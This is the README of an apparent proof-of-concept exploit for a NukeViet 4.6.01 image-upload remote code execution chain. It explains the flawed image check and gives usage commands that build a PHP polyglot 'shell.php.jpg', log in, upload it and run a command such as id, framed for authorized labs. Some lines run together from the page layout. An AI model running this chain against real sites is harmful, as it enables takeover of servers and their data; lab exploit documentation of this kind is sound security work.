
Python PoC for the NukeViet 4.6.01 image-upload RCE chain: generates a PHP polyglot payload and, against an authorized lab, logs in, uploads it, and runs a proof command.
Authorized lab PoC for the reported NukeViet image-upload chain:
verify_image() misses PHP short-open tags (<?)..php extension..php only at the URI end.This repository contains no credentials, tokens, cookies, or live-target configuration. Run only against an owned or explicitly authorized lab.
requestsInstall dependency:
python3 -m pip install requests
No network request:
python3 nukeviet_rce.py --payload-only --file shell.php.jpg
python3 nukeviet_rce.py \
--authorized \
--url http://127.0.0.1:8080 \
--username LAB_USER \
--password 'LAB_PASSWORD' \
--command id
The script performs: login -> multipart upload -> uploaded-path extraction -> one command request. Use harmless proof commands such as id or whoami.
The PoC demonstrates impact only when the exact target configuration reaches PHP execution. A payload-generation pass or source-level match alone does not prove runtime RCE. Do not run it against third-party systems.